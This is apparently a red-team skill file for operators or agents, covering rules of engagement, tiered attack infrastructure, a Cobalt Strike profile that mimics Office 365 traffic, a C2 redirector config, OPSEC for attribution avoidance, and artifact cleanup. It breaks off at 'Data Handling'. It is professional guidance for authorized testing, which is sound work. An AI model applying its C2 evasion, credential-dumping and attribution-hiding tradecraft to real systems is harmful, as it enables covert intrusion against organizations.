offensive-advanced-redteam skill

Advanced Red Team Operations

Red team engagements simulate real-world adversaries against an organization's people, processes, and technology. Unlike penetration tests that maximize vulnerability discovery in a fixed scope, red team operations test detection and response capabilities by pursuing specific objectives while evading defenders. You operate under rules of engagement that define what is in bounds, and every action you take must be deliberate, documented, and reversible. This skill covers the full engagement lifecycle from initial planning through final debrief.

Quick Workflow

1. Negotiate scope, rules of engagement, and deconfliction procedures with the client.
2. Build tiered attack infrastructure with redirectors, aged domains, and valid TLS.
3. Configure C2 profiles to blend with the target's legitimate traffic patterns.
4. Execute the attack chain while maintaining strict OPSEC and logging every action.
5. Collect and stage data with encryption; maintain chain of custody throughout.
6. Evade endpoint and network defenses using tested bypass techniques.
7. Document findings with MITRE ATT&CK mappings and deliver structured reporting.
8. Conduct purple team debrief to validate detection gaps and remediation.

Engagement Planning

Every red team engagement begins with planning that protects both the operator and the client. Skipping this phase leads to scope disputes, legal exposure, and operational failures.

Scope and Objectives

Define what you are testing and what success looks like. Common objective types include data exfiltration (retrieve specific records from a database), domain dominance (obtain Domain Admin or equivalent), business process disruption (demonstrate ability to halt a critical workflow), and physical access (gain entry to a restricted area).

Document explicitly what is out of scope: production systems that cannot tolerate downtime, third-party SaaS platforms without authorization, destructive actions, and social engineering of specific individuals (executives, legal counsel).

Rules of Engagement (ROE)

The ROE is a signed legal document. It must contain:

• Authorization window: exact dates and hours of permitted activity.
• Authorized techniques: which ATT&CK tactics are permitted (e.g., no physical access, no supply chain attacks).
• Notification thresholds: conditions under which you must pause and notify the client (e.g., discovering active threat actor, finding child exploitation material, accidental data destruction).
• Emergency contacts: a 24/7 phone number for immediate deconfliction, not just email.
• Legal shield: explicit written authorization referencing the Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), or equivalent local statute.

Deconfliction

Establish a deconfliction process so defenders can verify whether observed activity is your operation or a real threat. Common approaches:

• Trusted agent model: one or two individuals on the defender side who know the engagement is happening and can confirm or deny your activity via a secure channel.
• Code word system: a unique code word embedded in your tooling or traffic that defenders can query the trusted agent about.
• Deconfliction log: a timestamped record of every action you take, shared with the trusted agent in near-real-time via an encrypted channel.

# Example deconfliction log entry
2026-08-25T14:32:00Z | OPERATOR: kai | ACTION: lateral-movement
  TARGET: 10.10.5.22 (WORKSTATION-FIN03)
  TECHNIQUE: T1021.006 (Windows Remote Management)
  TOOL: evil-winrm via SOCKS proxy
  NOTES: creds from LSASS dump on WORKSTATION-FIN01
  DECONF-CODE: REDTIGER-4482

Communications Security

All operator communications use end-to-end encrypted channels. Never discuss target details over unencrypted email or Slack. Use a dedicated encrypted messaging platform (Signal, Wire, or a self-hosted Matrix instance) for real-time coordination. Transfer files and logs over mutually authenticated TLS or via GPG-encrypted archives.

Infrastructure Setup

Your infrastructure is what separates a red team engagement from a penetration test run out of a Kali VM. Invest time in building infrastructure that is resilient, attributable only to your cover identity, and segmented so that burning one asset does not compromise the operation. Map infrastructure actions to MITRE ATT&CK Resource Development (TA0042).

Tiered Architecture

Segment infrastructure into at least three tiers:

Each tier uses separate domains, separate VPS providers, and separate operator accounts. If T2 is burned, you re-establish interactive access through T3 without re-phishing.

Domain Aging and Reputation

Register domains at least 14-30 days before the engagement. During the aging period:

# Set up a basic landing page to build categorization
sudo certbot certonly --standalone -d ops-portal.example.com
echo "<html><body>Coming soon</body></html>" > /var/www/html/index.html

# Submit to categorization services
# Visit: https://sitereview.bluecoat.com/
# Visit: https://www.fortiguard.com/webfilter
# Categorize as "Business" or "Technology" - never "Uncategorized"

# Verify categorization after 7-10 days
curl -s "https://sitereview.bluecoat.com/resource/lookup" \
  -d "url=ops-portal.example.com" | jq .

Choose domain names that blend with the target's industry. If the target is a financial firm, domains resembling fintech SaaS products are more plausible than gaming sites.

Redirectors and Traffic Filtering

Never expose your team server directly to the internet. Use redirectors that filter traffic and forward only legitimate beacon callbacks.

# /etc/nginx/sites-available/redirector.conf
# Smart redirector: forward only traffic matching your C2 profile
server {
    listen 443 ssl;
    server_name ops-portal.example.com;

    ssl_certificate /etc/letsencrypt/live/ops-portal.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/ops-portal.example.com/privkey.pem;

    # Only forward requests with the correct URI and User-Agent
    location /api/v2/session {
        if ($http_user_agent !~* "Microsoft-Delivery-Optimization") {
            return 302 https://www.microsoft.com;
        }
        proxy_pass https://127.0.0.1:8443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    # Everything else redirects to a legitimate site
    location / {
        return 302 https://www.microsoft.com;
    }
}

For team server management traffic, use Cloudflare Zero Trust tunnels or SSH tunnels rather than exposing management ports:

# Bind team server to localhost only
./teamserver 127.0.0.1 <password> /path/to/malleable.profile

# Create a Cloudflare tunnel for operator access
cloudflared tunnel create redteam-mgmt
cloudflared tunnel route dns redteam-mgmt mgmt.internal-ops.example.com
cloudflared tunnel run --url tcp://127.0.0.1:50050 redteam-mgmt

# Operators connect through the tunnel
# On operator machine:
cloudflared access tcp --hostname mgmt.internal-ops.example.com --url 127.0.0.1:50050

VPS and TLS Certificates

Use VPS providers that accept cryptocurrency or prepaid cards for attribution resistance. Avoid providers that share infrastructure details freely with law enforcement without due process. Always use valid TLS certificates from a public CA; self-signed certificates are trivially fingerprinted by network monitoring.

# Generate a certificate with certbot
sudo certbot certonly --standalone -d c2.example.com

# Convert to Java Keystore for Cobalt Strike
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem \
  -out c2.pkcs12 -name c2 -passout pass:changeit
keytool -importkeystore -srckeystore c2.pkcs12 -srcstoretype pkcs12 \
  -destkeystore c2.store -deststorepass changeit -srcstorepass changeit

C2 Tradecraft

Command and control is the backbone of your operation. Your C2 traffic must blend with the target's legitimate network activity and survive defender inspection. Map to MITRE ATT&CK Command and Control (TA0011).

Malleable Profiles and Traffic Blending

Study the target's legitimate traffic before writing your malleable profile. If the target is a Microsoft 365 shop, your beacon traffic should resemble Office 365 API calls. If they use AWS heavily, mimic AWS SDK traffic patterns.

# Cobalt Strike malleable C2 profile excerpt - Microsoft 365 blend
set sleeptime "60000";
set jitter    "37";
set useragent "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0)";
set host_stage "false";

https-certificate {
    set keystore "c2.store";
    set password "changeit";
}

http-get {
    set uri "/api/v2.0/me/messages";
    client {
        header "Accept" "application/json";
        header "Authorization" "Bearer eyJ0eXAiOi...";
        metadata {
            base64url;
            prepend "ocp-client-id=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json; odata.metadata=minimal";
        header "X-MS-Request-Id" "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
        output {
            base64url;
            prepend "{\"@odata.context\":\"https://outlook.office.com/api/v2.0/$metadata#Me/Messages\",\"value\":[{\"Body\":{\"Content\":\"";
            append "\"}}]}";
            print;
        }
    }
}

http-post {
    set uri "/api/v2.0/me/sendmail";
    client {
        header "Content-Type" "application/json";
        id {
            base64url;
            prepend "client-request-id=";
            header 

Sleep, Jitter, and Beacon Management

Never use a zero sleep interval except during active hands-on-keyboard sessions, and even then prefer 1-3 seconds. For idle beacons, use long sleep intervals with high jitter to defeat statistical analysis of callback timing.

Set kill dates on every beacon. A forgotten beacon calling back months after the engagement creates legal liability and confusion for the client.

Fallback Channels

Design your C2 with fallback channels so that losing one communication path does not mean losing the implant. A typical fallback chain:

1. Primary: HTTPS to domain A through CDN.
2. Secondary: DNS-over-HTTPS to domain B.
3. Tertiary: DNS TXT record queries to domain C.
4. Emergency: ICMP or raw TCP to a hardcoded IP (last resort, high detection risk).

Configure the implant to attempt each channel in order with exponential backoff. If all channels fail, the implant should enter a dormant state and retry periodically rather than generating noisy failed connection attempts.

OPSEC Discipline

OPSEC failures end engagements prematurely. Every action you take leaves traces, and your job is to minimize, control, and eventually clean those traces. Map to MITRE ATT&CK Defense Evasion (TA0005).

Attribution Avoidance

Separate your red team identity from your real identity and from other engagements:

• Use dedicated VPN or Tor for all engagement-related browsing and registration.
• Register domains and VPS under engagement-specific pseudonyms with disposable email addresses.
• Never reuse infrastructure, domains, or tooling across engagements.
• Strip metadata from all files before delivery (EXIF from images, author info from Office documents, build paths from compiled binaries).

# Strip metadata from a phishing document
exiftool -all= phishing_doc.docx

# Verify no identifying metadata remains
exiftool phishing_doc.docx | grep -iE "author|creator|company|producer"

# Strip build paths from a compiled binary (Linux)
strip --strip-all implant
objcopy --remove-section=.note.gnu.build-id implant

Tool Signature Management

Commercial and open-source tools have known signatures. Modify your tooling to avoid default indicators:

• Cobalt Strike: change the default named pipe patterns, watermark, and process injection techniques. Never use the default profile.
• Mimikatz: compile from source with randomized function names and string encryption, or use alternatives like nanodump, PPLdump, or LSASS dumping via comsvcs.dll.
• Impacket: modify default service names, pipe names, and banner strings that defenders signature.

Indicator Management and Cleanup

Maintain a running list of every indicator you introduce to the target environment: files dropped, registry keys modified, services created, scheduled tasks added, user accounts created. At engagement end, remove every artifact or provide the client with a complete list for their own cleanup.

# Example cleanup script - remove all operator artifacts
# Run this ONLY after documenting everything in your engagement log

# Remove dropped files
Remove-Item -Force "C:\ProgramData\updater.exe"
Remove-Item -Force "C:\Windows\Temp\debug.log"

# Remove persistence mechanisms
Unregister-ScheduledTask -TaskName "WindowsUpdateCheck" -Confirm:$false
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "Updater"

# Remove created accounts
Remove-LocalUser -Name "svc_backup$"

# Clear operator event log entries (provide log of cleared entries to client)
# WARNING: Only do this if explicitly authorized in the ROE

Data Handling